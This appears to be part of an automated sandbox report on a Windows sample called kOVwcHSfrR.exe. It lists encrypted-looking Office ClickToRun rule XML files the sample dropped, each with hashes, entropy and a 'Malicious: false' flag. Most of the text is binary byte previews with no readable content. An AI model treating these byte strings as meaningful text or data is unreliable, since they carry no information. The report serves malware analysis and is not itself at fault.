Preview:	<?xml....\|>.N..W..>....ux...L..R8.$..p..f....n"...c..hK.H.i1...x.]..d..#.KH.......DK.B...4.\~.>.)..,_...{Hg."W%.....xa"@.}.....G.n.o..6...N`...F.^........ ...C..}..E.....:.zT5^..n.)t...v...u$.qr..$.z8...\;...b.}aen.y.N.+.9.A..nb..'qm/G.d...o...x}m......)....0a..?..Z~m.w...(.&..:8.kB.T....E.:..K...mZ...i...L....g......].&..az}.2+..V..\|................F.7B...\| #..;.v..{.z%.WW..z...pr....,D.$......C..r.......6EY.5\(D...+E.v...0....Y........./..}.V.....b..C..Ma..d.y.u.D....#..z/....h.....o..Y....A..4.y,K.;../q...w'@.gi.S......@...^W.=.f%d..C....Lq...X..U\@...S.....EE..%.f"X.w=.84.FR...h`?..lZ..&..P...c...o....bu....."...'y...s.....~.k..m7w..7.+....8......q.+.....L..,.NW).."....`h.Y(..R.......G......6.xk..m3c..k..c..E..%.Z!...Zu..bV9...+.FQ..7..~..:f.a..u*....P!..dJ....^..n.H.....^.Y.CR.x4...O.Q.%.!.em.d....u{......v4......(.......+..\.%.=/...;^..<...7.).?.T".....q.n..M.U?..Y.O..Tk..y.)..{A).L..fAS.......41.1I<F.M. ..g...G.M..].{...`.....+.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.891117721374366
Encrypted:	false
SSDEEP:	48:c0RsWq0DtgVr1B/sva7z/mKTMH1sdD8yD:RRsWTaVr1B/soNMVKwa
MD5:	BE0D025ED4AF9FEFD17055DE16C1E948
SHA1:	AF7B5406D1EEC3D52ECEE855EB4F6D8FC244778F
SHA-256:	2A78B78EF1C5E32FBA682A7888719018921C5C3C614D63C3BFE1BE4B81E18988
SHA-512:	A98A4F37EC1F82AA41D05BFE67808A45891462184B1877E131B7C138FFD2272CB01D252913322ECA251748EB749278DEBE8CB5E18CD2D1D8394522E915360C61
Malicious:	false
Preview:	.<?5...%.-....V.@E%........U\.....nU...M..W......m...g..Y.b....@t..o..`.........].~Q..j;..VP.G...@'t.A4.{.......:.J;..1.7).:.....a+b.%.#...x..._5.~..8.MY.ql...C;.....UWt!.,..u0.1O.Y.R.h.._...CU...F..d...Ww..T..\..y..wA6..<..w0.A{.&$.{...q...s...o.x..W}O.).X...A..a:....p..D...o^qy.>.C.G..M...E..Q..e.N.1V.sF;...GEn...i.....>..+...zt@L..?...}@.$...]...ji...8AFP'....S.dpY..-..A(...L..B.+....2.XF..X.JP.<.".^+..u..1....w........W.......>OW..Ql.Y}..0H`..U........d.c....."<..'.............Z......}.$I..?.en.&...9....K..'...j..}..&.HA.n......}.W....b.<......=!.f.O.3.3..-'..o...~..i........ ......!..I......z... ...r..k..2w^N[>.,&..rE.g...wOJ.O.....H.v..<..0..>.....9,`.r.2..)...%aa.q.C.)......'...K..{[....8yvBU..S.:.n'......k1.B......Q..>.j........y.g.I.dy..%.(.4sH.@...R.vv..sp.m[..{.#...[..hy....A...kl..!.?}..1.w8....nX...,M....i.O.........[.Bm[#l...(..\|Q......X.'.R..6.x)....~.w..^O.].O.......6.3.......P..X...f..f..p..;....Z.Qp....R..F.(i

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.898664657447482
Encrypted:	false
SSDEEP:	48:+WGnpcUZ45DweEidRrY0ZeHy3rLxIMNwHJzs1+ODfUEGmynRvVR9qk22yD:HGnV65XEileSXLCJe+uc/myRdyk/a
MD5:	AB6C3C0B81CBD35E912B93D82F17025E
SHA1:	3EF4AB5CB252BF1B9B1E48B8FC0712139C213773
SHA-256:	77F72F1FA65B50A23F97CC432B9B0A0560F0D404566E14CFF23301BD810895E2
SHA-512:	5DF0E59DC5454CBF0B44823EB7FDACFBEC51CD8A82375741E37B5D77BDFB0A1043B8EC6595BE83BEC599E78B409E467F284A854652B6EFFDA9CFD20E7D6B5F51
Malicious:	false
Preview:	.<?v......O.....$....4..-$.j<a....L..+0r%;.....y.G.2.......dm...i0V.SV.uG....4.I........{1..b?.P.Jx.8UE/X!.2.+.C.............. 6.kb...........3-L38..c-.L`F.I1..5`]..f.#.."..CVw...]2...o._..vo.v...8...Pn.vs..:.)...:9...'I.H/.m..[o...P.h........lu<k.NZ~x... ...!......f......>.....9...v....2M\|.......p...#pZN._..6....6-zC.^..j.I#aP.5.........l..l..0y..5..q..A......c.....'.}.#..V..\|....g..b..].I.!.......i..<9.s..N#4..^$......Z.eM&b.GuP.-.Yi.....y..0/.b(.L"......_._A.g...X...W.uEH..6...e.R..T.s n\..q."..t_.a.&....{.4Y..?l1.(...M....~<e.....-%.'..^QHs(5.o&".Z.v:..Df.:j........_.....9.r..-sv(q.VM..V.8..<..hr<.3.v..p...C...C.>.... ?J#...WwB.....L.c+..W.^..L-.mM..e../.......,...p.[.d..4"..M.._oF.n....gM.w..."/...kX.E...c~:..:.N;...\u..R8.\|.nh.Qf.b..c...G.c.71p..dC....D........R]....l9.`.k...a..:......~YTc...K1.(.R..Me.y.g..]...[.+}&..ZB./.S...^o...M..#.0..W.....g..v.......:..3.?Y.\....\..@s$O;..$..[O.`C..0..G&.^...a\..h...$;^.M6..Kg`2Dd.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.893375167751415
Encrypted:	false
SSDEEP:	24:EJCheiOlcGLvHCBUg3PqbOgaFwIGFoC+3ksNPzOea3CkDlXMjomFbI7OWSV8w1bD:UInOlnMFfM/oCckstzECkDOjov7e8yD
MD5:	98FAE6F8D3F27F22BB25E7FB75893555
SHA1:	98731475EDB5CC3677440EB057F694B2EA4C2844
SHA-256:	50E3B54E73383F71AED8FCF5EB68865F06EAA2E2B4796C2526824279F35020D0
SHA-512:	40F8C6AEF94A80BEBFBD8F1E9A0DF0BF6B6AC46D5576083B5891546A2F3D7279521198A15E7423646D83D7099DDB7CCC22FDD7779A61C5C38B254C2579EC716D
Malicious:	false
Preview:	.<?.y9.a..t.`...+B..."..e.(..=..2I<.....}6zVn!....<P....)@......].?......!.w....#.....Hc.H..?......D#../_.Y. 8.MI...lF..g^...@`.9..c.jG?.p.cG....>\.-T..].f...P3...CB_..~.9...N........\|.oM....'#GDP..Ay3.v&....i^.~Hn.V........qP7.....~..i.<.&u..m....3#..i/<.c...5..7t.}.X..=($g.y...?G.9.#.v'......c.J......QI-q........l!.......y:X......Fj..G..@.....{.`..pp..6.. mD...6.-d.......\|eW.;J...l.l>w....0.gP.........65......35e..,\|.8.....~>..3c.8......#.uO..:......0.@..<.L.....L>....tq;V...+"..@:....\/......X...yK.r!...hw.$S3.S)...H'=.07.5...p....2..o?2.^.~y..U...%..$[#...;.j...t..!.}ex...:..}..... ^r...d.n...Z..-...-._.m......1;.."i2.2.hK..\|.}....^..j.3<'.....=......''C..K....GQ..e....\|8....k.........jX4R......m.G1.....2.v..L..2.n....)..7.%.j..woYbk0fj?....s.]...........w....c"....X2o...C..S.S670..,.PZ....[..Gyj?.z=..Ee..r.......=_Y,/.L.uz...=..-.9...{.z.O...f9...?`.u"~g':9].m.-U.X6w.Ov...Q....i..6..;.1v...#.{.YK.....`E....!.]U....!. 6...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.8711989789428305
Encrypted:	false
SSDEEP:	48:7qHkJQaLVqXM1CYUXfW2OBi5CIapkGjeuWTMmOaXzyD:7ckJQaL86C9fW2OiapXjezxza
MD5:	52BD0D88134B7230CD5710FD83C0F070
SHA1:	BF420BD9FB8E31A0C3F380F038F2DF6FF1B8EB84
SHA-256:	426CC8EE72CE7CB3946739BC454A12BBB5C38FA069D146F3D6AE2763E67B4701
SHA-512:	01D5437141407FF1CF782C41C7D5AE50FBDA4C24CA354560F04F1B963F63EBFA82B5C04F3F86B5DCBA10CF76F717D8679903ECD56B57A92BB5A7FC68D72C8B16
Malicious:	false
Preview:	.<?1.....4J.U.Z......&...\|...<.......tjI.&j`.g.1...F.....W."h...1z...A..FO.....\.W...U...!V..e....t..B..,.^0.T]........T#%%.....<e.....h..%..F.o..63...5..#2O...a..oU..e........_P....gu.....lvi.(....n?.;....C..u.+..9.#6).....V...<N...:`Q3...#LN....R....Q.>......;..^4...Uz.mN3.G...S.<^IB.\|.9...y.z.......+......'.....t....q.G.(...,..wP..3b.......a..E{.X.K...o.i..n.....4 ..)04.....c2....h._&j...y......F.w.........fm..9B.Tm@w.v.qu.X^..E..FEK...M6..C8(.u20..R.A.4`..zz....=._.nj..E.Jot..F.E.\|P.Vx 0..H...<...?A.E~..Io...!..g...3(.0s..o3..o9?....U.4..9...D"S..g....m...$..n].:.j..(7.......1...-f..........M.@....8..R.;ZD..a...,.xa..f.6.l"..p8~..3.f?<do..v..Q...`...%.....\.<_4<....f.n3..e\...G.w...=...n.'...\.2...V.u.....!:A..F.\...Pu.....&G.~.g4.f..^g.....g'.T.Q.n.."8<...".$p[..J.A..t.:.\|.e...s.xKt9...;. ....`.o[...o+.=.F.........m4V[.....Umq....+]g;...U....-4.,$g.L%Q........".b..".w.....1.s.p@..:....w...Kl}fH..Bn..t.E.f:.q..w.J....\.P.M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.874757361650666
Encrypted:	false
SSDEEP:	24:r5F3KF+XlAwdIK7N85/4nkyM43LEcnFIwpQU6qIoojQLjOwb1Ey8U8qsSsoFwTcW:HO+V7mKp8GrYcnTpboUVb1rr6TLuKwyD
MD5:	7F5E565F48EB3FCE924B60257A9B4628
SHA1:	76582CE668E8AEBC501E91B82184359ECF048E94
SHA-256:	4EC73BF4A0FBEFE95780DBEA30BC538A8302DCD9E6C19955FB537F5F0879A75A
SHA-512:	2854965206130C80C1019E93CF3DD928A49211E85667788CDB60E799CA7BE16079B62A41FEA1823DC3A2F684D3EB417C11084B7EF82077D18ACBF3074ED24E39
Malicious:	false
Preview:	.<?+.6"..0.....@.c...$5.!e...q..n..3L..v....).87.f...S....:.....J..\uR.........^..h.,.q...../.M..Q.E..).e.n.._f.T..\|u.W..x..!TUz..b.....$.k(h.....q.C..6..........v.kV......]m...PF.'.h...9.!...u.?.w..D..^d.E......z.\|..'n...kA&b.I...4}..v.Z...O..\...z..7....~.XC...Q_..3......."\|y@.~..R(.7..M.....#...k@-..lNL9e.^....Gz.x.R....J..\[ ..,"Rk.,x.#...M$.DRUt#...#.z.,![.&/.S..51{...:...V%f..sm...\|d0..$..\5/.:B....s!k...M(.Tv:.$..}5x\.;t..U.s6+.0.O.ZX..%;\I.(.........u..>9.."fm...M[TO...ht..{.WF.\A.o2.g.pS..dB..8..H..,...V.....[.s.f<.H....2`..=$.Y=Y.......eVr...#...x....a..^.V...f.O1=.9-.e......2j..".'...X....).[.L;v....T......\$..Y.].v....zd..E.Y."<..y.@........E...`...$.l.I.........,.,K9B....\|.D...L............6Qm.L..1..l.. ..7.\....r..u...t..$/....Y...z_..G..!...=.....W.tD.2.........D..&.V7-r.3....Qj.c~.#....-jD...rJ..w..N+.....9....;........c.2...p....RM5.f..E.4=.......Cio..$x,#...W....{m....1.....z...>f(DD......vw.o9....g...".:[$.....HI..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.89148563613657
Encrypted:	false
SSDEEP:	48:D7oyZwFyuKMd6UApSBlhWSfQbw+UEahyD:DZe/dDp3WH/aa
MD5:	444DE103B840F58CE09CB8D01655B950
SHA1:	1DB5BD1C663A43277ACBE5F6A31EBEADADD068A5
SHA-256:	2C28339BE6B2FB7402376DF426C2BA71722B2D9858914C1D7306CEFF9DFBF427
SHA-512:	6740AD64779E2E52B4DBFFCA945B0700C2437C911A2462292413F50D1F4D6D0CBF4289CA84BF36BE7310EFD2FD782DD4CA6564F27F1BF40214EE86572C461363
Malicious:	false
Preview:	.<?.3...J........"......qE.8An......6.7j...oIk`..$$.%..{...+U..".E%.....x..$...^P...@.\|.C0..d....c.{s......R.n)...c...4..E.+.:\W..2..!D...K.....NU..........#.e\...'"..=..T.r.H.{.....Y.x../..g".[Q.a.....AM,..0S:...`M..`..... ....l.X.A...uzI..=..R.C.yPS.....c?5.a..A:+...Kx8..N~ ...)....t&(f9..pH..v..gP.i...h.);..Dc..m......U.....=...*.%pa$...D+........h.H.f...)....[g.......lA1..#.]B~..IJ..E.j./c7B....W".V..@a..r..C.Q...B....~.v.!!.x......+.2..3..I..#.....v.~.B&...OL..H...~I.s..R.\..V6.}P:{7....N)...U.....f..{.1.;.hvNa....A...(v.6...J....p.xu6I#.."...../dA.".....H.D6s.t<,f.[.O?.L. ......z.~l.f.~.u....T+!........h..n..e.zE7........%.j....<....[E...q.4..I....._u.o...>n..../....Y(.M.#.a...prz.....#.+J...0R....._..i.@....2p..:T.......A.i}.!....Tv..03.b.1c.).>3g;..b1.4M8...\|H....4...KT..._G+....m$#.m..f....ZE..<tgY.U...w;-!.\...%.>...s["...Z.F..+.Z/..Qk..Q?.....5.S..r.Y8...a.7...z.p./o'..z....;Vz.Ya...b..\|.m2d...b$y.....+'.....=...e.3.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.892598014767437
Encrypted:	false
SSDEEP:	48:R5wKrq5DzU3kQVPPCox1rltVyumu2Z1BIlHIhOKyD:R2UqNg0jox1Lwu6ZDIlo7a
MD5:	0F85AE515FD657C6F33CBB11FC821C3C
SHA1:	220838C2B025246E4311741C915EAE55B16C0F00
SHA-256:	E3631552AD303B2C3FA42F9AC3941FB94D77EC676AEFDBD328A430D25AF55904
SHA-512:	9999AF26641A912307CDC1C9D931967053058B828157AE6BDB2A31FE1F696C5947E5AA17DCD8D4562C8A44847BA7AB3235D17BD087FF8B5F382E76AF090BDFC0
Malicious:	false
Preview:	.<?...Bp.\7/.IAi.1..z{e.u.o..........q....P.P..N....h.Q.,.X.....o..;.H....k.E..4..$.........m....D..a/...Cl.p.'..tG.._..&'.F....z..{..t1.W..y...~]P..`.%.(,............@,.....8........Q...K..{.slo..6O.j.....>.k."!.$..]:..7....lF.8.Y&&.3!.%....C&6..Q.kz..`Z..qJTx.Z.~.)...t.7f....zJ..h.oDQ$.r(&....c.._?.p4y..}u.q............`....w...l.......D.......j..j}....P...4T'.2...o..l"......M[...'..r..%s....d..3.(...8.c]1.....u....i......v..9.n...h.\|..w.>L...d;C.......6Qne.%33..S...G..^N....'l....0C...7.G..'.q\<...&.@..OB....<6<.......7.8....e,...~;}.7K..p~w.....$..x...D..]X,.....h...y..T....T.s.p.....>.......2.#...L%.V."l...'..v.....\|....._.....d..\|.D.a..}....V.yj..-....n._X!.u.<.T4...F ...Z...k~.....[#.._..g.T..1J.b../HG........6.3E.'}'1.....Y....n.>.....]....u...q.y......~.q.T.H..'..)N'...........3.I. ?...GHg].v!..1'.g....K.}.%Vz. [.!.bY.,$.%f..V....o....68.[.[(..pb....4....wC,.a..>...^..q{p&@...W=.....W^..w..n....}."w+<.dk..dM.W.+p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.883692425735287
Encrypted:	false
SSDEEP:	48:k3K0JdxRuS2ZZIWe/137mgJUoi5EHsmvWZBlyD:k3PxR4ZIv/13qgJ1iOsra
MD5:	F400FA250B0C3783D866FB4CC50CF129
SHA1:	D8049CB1C2A7F56252BD2E8A07EB9D93EBA7A67B
SHA-256:	C4FFB04DAFA9839EF0F1EF77C0AC4115C8F2CD90ECE9418E69746ADD041A3F47
SHA-512:	1DF7FC6B25DF6D0952D73C64CAD70785C7F3672E7987C86536A59E117503A837710BF76B230292C9E940801DB9362260246727B0C07192C013F323BB7E44E801
Malicious:	false
Preview:	.<?G)..........+.O.B..r.....%.gp[..N.n...C<#...X.Z?W!...........O..\w.....\...;.!..X......v.......z;V..X..\|...g%..0..Y....FHjN-./8.]......{Qd..\|...e..C..Y.A6..x}.i.......yny...Lfb\....L.w......=..;...O.].n..hC...p...n,.!.06.S.Yc$....>r.4.v..j-...s.-....r3....3.=Io2..(..P......'..V..D.',.I.m..v..n..d.......o.yZ..... "....7..X^=...E.y.rZ.B..Q+n..k....I......v...).I.G...A.....7........g.\.0K.)H.:k...`..Dcf._.......h...........).oZ[.`qt.W...t..I4..18.R.2`....l/.<..3......#H.}.g......E...^!..]rep..r......;.C..N8.).3P.u%/=.A...+N...\..EI%.V..B:\|..z.!..J..e..#..Y.ddU.R..f...-.m.w..A..@6.{.Ef...........vEv.....VX.4..'.>...=N..2..k.S.j...>.2.Mi...\|.....Fgk3.._..q..^..-".._Q.m...W..r..<I..5..2...T.....:....q.u....*.....op.. `/ny.....?wt....A..........>C.......cLs.oL....@..:.5dZ.D...u........H.`.K..v<..x.'....'t..<.x&.=..OD.f..6.X"i..V.....~Cm3.b.SY.V.r...).He.n./...~....A..Hb.pH...q.f..1.......T.Kc...l....K$..F.?_..S.E...O...E.KM.....OV.....qb

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.876179394388586
Encrypted:	false
SSDEEP:	48:G+CuJGk3Acn4WvP/RizS7XPPwcQ9AIKeCjGZyD:GOJ3J46PJiAPwcQqIKeOIa
MD5:	7ED36838E1DE350EB085EB7DCE8966AB
SHA1:	92A38D813F993F867569498AC09A6CF8338B808A
SHA-256:	C9C544C66D1C55EE72F32A3827E7375B631A791C2C508B23718D21630ACE3CD1
SHA-512:	2EB9EC33AEBD188461C54D1316A09045A5B80B44F512919175629278B3A09A0856C9643DD54D6A18A55D998996CE907F76303BB74F677BB942653A09805B249A
Malicious:	false
Preview:	.<?U......I.k.j.^a.,.Ep.r..K...B.......Y.6.....l..B.%^..3J..)..B-{m.;..Q............Y......8F..R...[K...(z...h...q.....:...;(......h...H..rW.w1ED.s<....8....[ik.K..>7.`..AQG4..a..)....+X1..../ E@.qyB5\%M.k.....O..u.M...1....<gP7e.q...^.<KP......:..:...Uf...,_"..f.5...?.."..(;ybe.........Z..k.6.D...d;.K..Pd1e..C.B..:E.`.v.U...%./...t)v..r%l.8..]..b.L._P:.Z._K~%.Q=V....p ...s..TH...9^.\|MT....TC..c..i<4..K.R'H=..Q&..xI..b.M..K..'X(oW.-.d.........p.>...,%-.<G.5..z8/.<A..X..<...o.;#)8.r..\|..c0...h.Oq........Q.....W.R....v\|.N\g../..R..CHe..O.scY.....<.....Oh....e...Tb0..4...^...........l......xD.._?.?...._9..o.d.@c.#].U.7F.,.R..kZ....LG/W..9.7..O\.i...........E.....[...P...=?29....^~o.j.Oxt@......,[.(...<.N=%.HC#sr.`....J.xE-.;NX..vf.......{.$.6.u.bD..R@..I.7....q.....W{.V..D.j..~....).J....^]j^.X...e.K...91..J-..G.<..>W+>h....8Q&...Bf.&.3...w'..m.fk.l.)\|....j"..Jt....H0DG.@rq...+.q.....'.$.#..?..X..#.........%.@...K@u.2..9..5...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.886992367693168
Encrypted:	false
SSDEEP:	24:JyBe01tvRXUvj/0skKiOLT+WvKzX7DM8URdxIV1ufkw4eKd+4RIgZSiI9vY8w1bD:JyJNBhtrjIZrxIKfkw4tdzAFY8yD
MD5:	7D0266B14AB23A9FA68890BF0A6440B4
SHA1:	27E17F9519557AA6BAA0FFF66949B4F2E055FDC7
SHA-256:	B0A55825E98A1EFB414669AA9CD508CAF0D7647B3228B7304DCDE6F374CFE1BC
SHA-512:	C57F059A292A9818B77F905EA1015695EB4E7D3CD3A1128B5E7EED8092459BF344D7B89D1660401044D59A750E3667B29504B73F124CFDC331D9E883E726DC34
Malicious:	false
Preview:	.<?.@..."q..ni....J...x..{.u3=[.........s,...L.2.CX..e<-<..[.dy.M .:..f...e)[...W..d..r/i..&..A.....W.^#a...s.&.Ko...NE......T..Bu.kf..f...J.....W.W.GUy3}...X...s7..Uh..{QVK.M.!...13.8S.+..0.!y......2d"C..ky(Q..I..T._7d't^.....m.cS...Od3%g..w..O.....D.....;9A...{.Y.j.{.\|..).Z....N..p...gt.....;.AayD.8@`...:x..}.L...(.-.....C.-l\.R.p.T.a%.h.T..:......Y.xP.."K..n.....6..p..l..H.&.&.xDw^...+]...3..C<.P&.;...U..v.+..'...U.)Fg..`I@{.z..4..A..Bj.?..,.$.6x...%...w...............0.y...H.."..\|..4WC...G.t...h9u...r...-y.8g\....^...c..`T....&..x...F.p\|L...!.....c.y..^..'...G=A}\|....).7:...)...n.b....:..<.y ......k..4"...].?..h.H.....:..(....LA5..`.y../.6w......9U..G.........C.....G.......&Bc...%...tgu2.R .{qW..B._.@M.Y...c.:\~.6+.>.P.e..g..\|.....-..d.X...?........n..g.....\.....HL1......."....t~..l...L.......u.-..N.._.......@...,...We.....l{kC.N..3..E...e1m.-2..@.C.f=....5..a...>....7.LP.A_..]SI....C..K..F...E...Lje..a.H..KP...4.{.n...q....a9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.882977672964393
Encrypted:	false
SSDEEP:	24:6ywvpc5qwc3t18LEWZTsQyA+gI4AZMUuGDffPyDL4TJ3Iy1J62glDMz+w1bD:b15q7gLEuTs9OI48MUNTKH4VvCRxE+yD
MD5:	3CBF6E4AB62E246E3232294D79DF1B0D
SHA1:	6DEEED96D43382E0A61C0331DE32725DAE115E78
SHA-256:	AEFCAA11D97D6F9E3EC270720975D3092DF493C5945BD1EE4972D83BB76F5712
SHA-512:	3700B2633ADE79C89E96D2E66FDA6D7CD795801FABF6D445B2B70897C952121F70E777F0079D8E61F4D95B910B13D7C02E288B175DAAFCE5923B1BDCA2C41EFE
Malicious:	false
Preview:	.<?.%o..r..#.:.M.~x...I..../a~/I.`X....,(.._d.[._..R...(b.@F3...W`.K.!M.').....}.Ln.b<...T..a...N;~......X.-.g....h.,v.^..%.h.........%.$.zzbT...1.F....JX...O!.7.....q&.,:...mk..V}Z....<..1....>..0oL..&..F.%)..A;dIF....$..._..MK.U.H.-D5..~.}..o..4.NP{.pQ....\.w..,o.....i.l.p.....r.!...0..2..#..S.a.[.xko.V~.u.e.J{^...J.....1...m.k....A..=..f.~.c.Yc.uP2v.{....u.1..#PC.%....j.{.Cp.e..X..\|..CJ.-WI.H.....l.TX.s4$stH;.....:...<=.Z.......F..X...i..QSq....r(.~p/....f...m.K.....* ...f.'...v-of/dg'...A8.3..^F[... ..3..1..H............N..&.R&..{..gW.....s.K..z0`..R0dB.u$..a."....+.+g&.f.N=(.5.H.n..`~...E..t...[d\*5.l.`3]...\.....v&...G.J.kAS...3..u'l0...a..+..G.!..z.4L.b./P'.(^....."...c.\.....0WmY...c...S.M[........q7.-Y...q.[..Su_....pz..."f7...\....pT.......$.2.& ...68i.....8PV...U.H.....7sa...F\|.9.t`.VH...h..{a.l...T.......rrlIrL..W.dhW[.Cjx..bI./;lB...v4.u..\|.)a....G.......v..?.A<z.2........#.7.h;.B...1...I).:..th%3....[..Q.#.....p.\e..e...c..o....!

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.889709957250995
Encrypted:	false
SSDEEP:	24:XqINHjIf8btOyN+UrOmMTiBR+idhHnpsD30pO7EwUAtfYnVGeh/Yo1FugVz1vhC4:XqXfiwTqRXhHQknsVo1Fugz9CSSyD
MD5:	9654922777E205A0B8C8FB2D46BF9997
SHA1:	C1D5218DC5DBEE21ED03EA6F679363605EBC11FB
SHA-256:	DFCECE7A778397EDB75ECEE9922B6C8F45FA378E99A7AB535C859CF6721A0B08
SHA-512:	C8DA81F838F70E1CB515714B49C0879967B78AC320DBE9E527D0D0B7107BA254B800FE583151EE07A9C6A746DC8B9E7C2AF33AB8F0EAD03CB27809298D416C51
Malicious:	false
Preview:	.<?...+^......U.....`.&w..mK..0....O.%.......J.....=.....a.dg}G8@.<8.^#N..h...%.~..../..#....t.m........0..{..).}.......z c..%....!M.v..M...g.q.....jC...M.......3.\..Y.u..c)R.V/c....nKpQ.....K........#.BI.h..8.a.UY....1...N.Y.M....n..Z$........yq...U'...H:..&[.c.A6.2@."s.. o...4..RM....>.....J.n..B...=.C$.v./5q....6 .{...y.V.Jh..k.%(.jP/.X....<H.q.)/.#)....T-..n]...jS..%I)...m.@._I...p.?+.....x.........N..E>...Y..........Ne'..X..-......ON.a.8.hr.W.Gx!........>...$.&.....e..2........V..M..n.d....."V(4.g+.IkI...,.!..i.5..IA...O.D....}g-..s0N..0&....!.`...S/...4I.......a........\....[.}.\o...U...g=..-{..nF.;.........m...z...+.....';Ppq.!..y..;b..wO.c.TB -._.t..;kO.s...B....(`.....%.k..+G.UM.BL..........(............n..c.,..\|M .ZS.K5.8...f...............]..~:..d^...v...p.WqV...p .....[^'..."...a..!I...W..3...q...V......q..p......V"...`..t..nt.D^.&.'....s].7.......U......:....u~.9fOW.\.@..a..kC..Q.~9.X.......][...N..J..n...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.88657705758988
Encrypted:	false
SSDEEP:	48:uDKZajNkfBtZomDKnYdLnoWWIvcP97DlTX1hyD:pAjNkJcmmnCnoLycl7Dha
MD5:	E0F8E1352B221F6C9E0FB48D6F0010FA
SHA1:	A831DD596154F587B1C6D61C5F0B6B4A9E2F9883
SHA-256:	2B659CD472224553925BDB321D5B65BCFF0BB66E8136E69124AF6CC0BD9D82E6
SHA-512:	F666C33C4124B70B207C5EAD0AC41BD442A1BCB48E7106E49FAC2E13E3E520B5C83734CB9AA00EC3D327DB922CF1CAB02881699D1274CAD4B0E275A65341EA39
Malicious:	false
Preview:	.<?.7......8....:w...I...z..sL.K.....X.K..tI.Z..J....Cx.Y.".~..#._..S}ns.i]..d.......j.U.S.h........wf.].....)....K.U...... .]v....uP...pxo.,...>M..R.~....=`..T..%. ..{^....1..1..'.m.Q..o..h......E\m...eZ....`p.x.sk".o..j..r...S.9............(...c........IA.#...G...z.n......0fnP..}.....w..JR.p...o.....}...?.......PC}.\...Q.8..YN4N..l..sc+.K.:...Z..'.....jJ...${...........(...U.mc.u{.a..x....].O._u.P.0.\....i.+]."..Df.8...E....2...1\|.2.m.......C.SQ7..\|...C.g...<...........bd......&QR.C........v..uJ)7).{R?0.j.a..../.....7M....(.].N._...;".x..o...Q.. e.yw.!...pe0....+...@..`..$F..r......6W.Qb.`k4.U..0.(...m.y..sL.S P ..O_.....!....U.}.....RP.......L...s...!O\|`..a{.jD.)...m....'3...&YQ.$.%O.../..p.=.../K...kDze...<..7.[..P!.{._._....`....n>R6:.n...q%..N.7..kT.E'.^...T9.W.T.fU..M.H.%[.Kt)..m....@...v..E..../g..T..2.!..j.].f. d4N.O.:....Tw..g...xW...1..i9a?D._..3..\.7...2...M..Ii{Fu.Q.E...3]...C.o@...X..p:Xw.^...}..5.d.I..{...._.lk..i.6I.VO.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703801v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.888019950410682
Encrypted:	false
SSDEEP:	48:LRoDG8cgd2gVRPr9TpRbN5SvJtRF/wB0ykPW2yD:EZlVRPr9tRx5ShrF1VW2a
MD5:	977CAEE7CD95AC0A1C845E10530E7A42
SHA1:	FF9B499BDAC313B9A79DF3789B3192960DFE4C9B
SHA-256:	64782FB9C84014920EC1185DFB7256D84DA0228D7A8AAD1F506AD0FD8CAD7947
SHA-512:	AFC3CF0EEB11556D40C8EEF7BE5A0A4549E38C832694A5BD6D95D2167A5019786974237CDF010FE1503037E12CF11CD96AA9D02B7D785E0324C151D29EB5B004
Malicious:	false
